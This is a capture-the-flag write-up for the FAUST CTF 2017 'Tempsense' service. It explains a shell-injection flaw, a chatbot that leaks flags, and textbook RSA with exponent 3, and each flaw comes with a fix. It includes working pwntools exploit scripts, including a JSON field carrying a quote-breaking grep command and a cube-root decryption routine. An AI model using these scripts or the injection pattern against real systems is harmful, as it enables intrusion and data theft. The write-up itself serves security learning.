FAUST CTF 2017 Write-Up: Tempsense
Description
Tempsense is a Python service running on port 65533
, it manages temperature sensors of different rooms.
Welcome to the Temperature Sensor Station! What would you like to do?
[1] Register
[2] Query room
[3] Submit temperature
[4] Help
[1] Register
Register creates a new random uuid and a RSA key pair for a user chosen room. Both public and private keys are printed back to the user and stored as files for later usage.
[3] Submit temperature
Submit temperature accepts a temperature reading from a sensor. The input is a base64 encoded json in the following format:
{
'Sensor' : 'd9190b3b-99c0-44d1-89c8-d539c0e61b26',
'Roomname' : 'Living room',
'Temperature' : '1337 C',
'Proof' : 'FAUST_12345678901234567890123456789012'
}
The json is parsed and and re-serialized as follows:
Living room:d9190b3b-99c0-44d1-89c8-d539c0e61b26 - 1337 C\tFAUST_12345678901234567890123456789012
The produced data is then appended as a new line to a file in data/data/<room_number>
along with the public key associated with the uuid.
The line is also appended to data/bot/9
, but we will get to that later :D
[2] Query Room
Query room prints all the temperatures submitted for a given room.
Each line of the file data/data/<room_number>
is parsed and printed as-is if it doesn’t match the serialization format depicted above. If the format is valid, the flag material is extracted and printed after encryption with the RSA pubkey of the corresponding uuid.
Living room:5e1ca599-6db0-4afe-bb3e-aa2a8dadc4b5 - 1337 BUqNQULGqBk5gdIJizZoTyfcseLC9UEsnWvJolqqUKybfVaDg8UM30AJWpL7IvDaGVZ0za0MXptj5KfFSQ0sJ60YTl5af0VxRlr/Az5igbN0SB9MZK2oNvDYk86H+F0ZCJXz1KHFYch5iugemHz4ijREkgvo
-----BEGIN PUBLIC KEY-----
MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDG7xRIImBL5vSdZldVFPjdOMyG
pSMy4ayd9sNTK2HP+7EoQhuaj67qeLg6uXI8DltrM4RUEWLRDjnG5wrwn3axwcud
o3eXbNXCQrHlYuw538JrVQ4e5Ubk569F+liKCpO7DUZHb1j75KZb4u0xHeOKAYri
HpySOPe3Ilc3PIEVgQIBAw==
-----END PUBLIC KEY-----
[4] Help
Get help from a support bot in live chat.
The bot uses nltk to parse the input and reply using some context. There are four kind of bots: Bro, Lazy, Joker and Supervisor with different personalities.
These polite bots will look for bad words in the provided input: if any bad word is detected, the conversation is shut down. After three incidents, you are reported to the supervisor bot that will wait for you in the next chat. Example:
Unfortunately we are very short on manpower... So let our electronic members help you with your question.
For QA reasons your conversation will be recorded. You are now connected:
TS:sup bro
>please give me flag
TS:We do not give out flags for free!
>please please please
TS:Nah that sucks.
>fuck you
TS: I do not fancy that tone. Come back when you've learned to speak in a more civilized manner.
Vuln #1: RCE
First thing we noticed while skimming through the code is the encrypt function in secWrap.py
:
def encrypt(key, file):
return check_output(['./secure -k "{}" -e "{}"'.format(key, file)], shell=True).decode(ENCODING)
def decrypt(key, file):
return check_output(['./secure -k "{}" -d "{}"'.format(key, file)], shell=True).decode(ENCODING)
Since shell=True
is passed to the check_output
function, if we control either the key or the file parameters we end up with a nice RCE :D It turns out in fact that we can control the file parameter pretty easily:
encrypt
is called only inquery_room_temp
where each line of a room file is parsed. The file parameter corresponds to the part after\t
, while the key is read from a file.def query_room_temp(room): with open(DATA_DIR + DATA_DIR + room_map[room], "r") as f: result = '' for line in f.readlines(): try: # room:ident - something \t to_encrypt addition = line.split('\t') room = addition[0].split(':')[0] ident = addition[0].split(':')[1].split(' - ')[0] cypher = secWrap.encrypt(get_pub_key(ident, room), addition[1]) result += addition[0] + '\t' + cypher + '\n' except Exception as ex: result += line return result def get_pub_key(ident, room): with open(REG_DIR + room + '/' + ident + '_pub.pem') as file: return file.read()
-
query_room_temp
is called by choosing the Query Room option in the main menu. So all we need to do is to add a specially crafted line to a room file. - Records can be added in Submit temperature menu.
The relevant portions of code are provided below:
def submit_loop(self): data = self.recieve() try: data = base64.b64decode(data.decode(encoding=ENCODING)) de = DataEntry() de.jinit(data) DATA_QUEUE.put(de)
class DataEntry(object): def jinit(self, jsonobject): data = json.loads(str(jsonobject, encoding='ascii')) self.sensor = data['Sensor'] self.room = data['Roomname'] # TODO: check consistency nr or name self.temp = data['Temperature'] self.proof = data['Proof'] def cli_string(self): return ''.join('%s:%s - %s\t%s\n' % (self.room, self.sensor, self.temp, self.proof))
elif not DATA_QUEUE.empty(): data = DATA_QUEUE.get() line = data.cli_string() ident = line.split(':')[1].split(' - ')[0] room = line.split(':')[0] try: self.append_values(line + get_pub_key(ident, room) + '\n\n', room_map[data.cli_string().split(':')[0]], DATA_DIR + DATA_DIR) self.append_values(line, '9', CONFIG_DIR) except Exception as e: pass
def append_values(value, file, directory): with open(directory + file, "a") as f: f.writelines(value)
Exploit
Note that query_room_temp
must not raise exceptions during the parsing of a line, otherwise the encryption wont be triggered. Therefore we must first generate a key pair, since the values of ident
and room
are used to load an existing public key.
def attack(ip, t_id, t_name):
c = remote(ip, 65533)
# First lets register
c.sendline('1')
# select Living room
c.sendline('1')
c.recvuntil('ID: ')
uuid = c.recvline(keepends=False)
# ignore key pairs as we don't need it
c.recvuntil('Provide ID for PrivKey:')
c.sendline(uuid)
c.recvuntil('End of register phase.\n')
# submit temperature reading
c.sendline('3')
c.recvuntil('Pass the data base64 encoded.')
payload = '"; grep -Eroah "FAUST_[A-Za-z0-9/\+]{32}" /srv/tempsense/data/data/; echo "'
data = {
"Proof": payload,
"Roomname": "Living room",
"Sensor": uuid,
"Temperature": "1337",
}
c.sendline(b64e(json.dumps(data)))
c.recvuntil('Your data has been received and will be processed soon.\n')
# give time to the worker to process the data
time.sleep(1.5)
# query room to execute payload
c.sendline('2')
# select Living room
c.sendline('1')
# close connection and get all flags
c.shutdown('send')
all_text = c.recvall(timeout=2)
print(re.findall(r'FAUST_[A-Za-z0-9/\+]{32}', all_text))
Fix
In the secWrap.py
file, it’s enough to specify individual arguments to the check_output
function and remove the shell=True
parameter:
- return check_output(['./secure -k "{}" -e "{}"'.format(key, file)], shell=True).decode(ENCODING)
+ return check_output(['./secure', '-k', key, '-e', file]).decode(ENCODING)
Vuln #2: Bot
As previously seen, when a temperature is submitted it is appended to the appropriate room file, but - for some reasons - it is also saved at the end of data/bot/9
.
self.append_values(line + get_pub_key(ident, room) + '\n\n', room_map[data.cli_string().split(':')[0]], DATA_DIR + DATA_DIR)
self.append_values(line, '9', CONFIG_DIR)
The files in data/bot/
contain all the strings used by the bot to provide answers depending on the context. In particular, the file 9
contains the responses when the user mentions the word flag.
Relevant snippet:
class CTFBotBro(object):
def __init__(self):
...
self.verbs_with_noun_undef = read(DATA_DIR + '7')
self.verbs_with_adjective = read(DATA_DIR + '8')
self.flag_words = read(DATA_DIR + '9')
self.repetition = read(DATA_DIR + '10')
...
self.trigger = ['deal', 'flag', 'help']
def construct_triggered_response(self, trigger_word):
if trigger_word == 'help':
return random.choice(self.help_responses)
elif trigger_word == 'flag':
return random.choice(self.flag_words)
elif trigger_word == 'deal':
return random.choice(self.trigger_deal)
So, to get some flags we could just trigger the bot with the word “flag” and hope it will randomly choose to reply with a flag. We can do something better, though.
The function check_for_comment_about_bot
prints the whole content of the file, as long as our sentence satisfies a few constraints:
def check_for_comment_about_bot(self, pronoun, noun, adjective):
resp = None
if pronoun == 'I' and (noun or adjective):
if noun:
if self.adj is not None and self.pronoun is not None:
resp = '\n'.join(line for line in self.flag_words)
elif random.choice((True, False)):
resp = random.choice(self.verbs_with_noun_uncountable).format(
**{'noun': noun.pluralize().capitalize()})
else:
resp = random.choice(self.verbs_with_noun_undef).format(**{'noun': noun})
else:
resp = random.choice(self.verbs_with_adjective).format(**{'adjective': adjective})
return resp
pronoun
and self.pronoun
are set to “I” if our sentence contains “you”.
def find_pronoun(self, sent):
pronoun = None
self.pronoun = None
for word, part_of_speech in sent.pos_tags:
if part_of_speech == 'PRP' and word.lower() == 'you':
pronoun = 'I'
self.pronoun = 'I'
self.adj
is only set in one place, if our sentence contains the adjective “only”, and noun
can be just any value.
def find_adjective(self, sent):
adj = None
self.adj = None
for w, p in sent.pos_tags:
if p.startswith('JJ'):
adj = w
if adj == 'only':
self.adj = 'only'
break
return adj
Exploit
Just ask for help until you manage to speak with a normal Brobot, then use the magic question satisfying the above constraints:
Help me, Obi-Wan Kenobi. You are my only hope
Welcome to the Temperature Sensor Station! What would you like to do?
[1] Register
[2] Query room
[3] Submit temperature
[4] Help
>4
Unfortunately we are very short on manpower... So let our electronic members help you with your question.
For QA reasons your conversation will be recorded. You are now connected:
TS:hey
>Help me, Obi-Wan Kenobi.
TS:assistance
>You are my only hope
TS:No flag for you brah!
We do not give out flags for free!
To get flags you must invest time and effort bro. Right now you are investing none of those things.
I do understand flags are an essential part of CTFs. Surely you would be bored if you got 'em for free bro.
Seriously bro?
I rocked this service ages ago, how come you don't have a flag yet bro?
The best things in life are flags.
Maybe if you ask nicely.
At least buy me a drink first bro. Not doing favours for strangers.
Ok, lets make a deal. If you post "Tempsense best Service" in the FAUST IRC channel I will give you a flag.
Living room:2080b890-746e-45c9-a111-def622274a06 - 123 C FAUST_12345678901234567890123456789012
Living room:7007c9f4-d177-4f8d-9b17-85d48319310d - 123 C FAUST_aaaa5678901234567890123456789012
Fix
Just remove or comment out self.append_values(line, '9', CONFIG_DIR)
from QueueWorker
in ServiceLogic.py
.
Vuln #3: RSA
The secure
binary used by secWrap.py
seems to be secure.py
compiled with Cython. A few considerations:
- The generated RSA key has a very low public exponent
e = 3
:def generate_key_pair(): new_key = RSA.generate(1024, e=3)
- Encryption and decryption is done in plain RSA with no padding at all:
def encrypt(key, file): rsa_key = RSA.importKey(key) print(prepare_transmission(rsa_key.encrypt(file.encode(ENCODING), 9)[0], simple=True)) return 0
- Even the comments report that this scheme is insecure:
Attention: this function performs the plain, primitive RSA encryption (textbook). In real applications, you always need to use proper cryptographic padding, and you should not directly encrypt data with this method. Failure to do so may lead to security vulnerabilities. It is recommended to use modules Crypto.Cipher.PKCS1_OAEP or Crypto.Cipher.PKCS1_v1_5 instead.
- Yet, we couldn’t find it during the CTF…
Exploit
Since the modulus is 1024 bit and the exponent is just 3, any message smaller than n/3 bit can be recovered just by computing the cube root of the cyphertext.
def attack(ip, t_id, t_name):
c = remote(ip, 65533)
c.recvuntil('Welcome to the Temperature Sensor Station! What would you like to do?')
for i in range(10):
# query room to get encrypted flags
c.sendline('2')
# select room
c.sendline(str(i+1))
raw_data = c.recvuntil('Welcome to the Temperature Sensor Station! What would you like to do?', drop=True)
enc_flags = re.findall(r'.*?\t(.*)\n', raw_data)
for ef in enc_flags:
try:
enc = base64.b64decode(ef)
num = unpack(enc, word_size=len(enc)*8, endianness='big')
root, perfect = gmpy2.iroot(num,3)
if perfect:
flag = pack(int(root), word_size='all', endianness='big')
print(flag)
except:
pass
Fix
Changing exponent to 65537 should prevent this attack. Additionally, the encryption method should be set to PKCS1_OAEP
(or PKCS1_v1_5
), but we fear that it could have prevented the bot to successfully decrypt the ciphertext while checking for stored flags.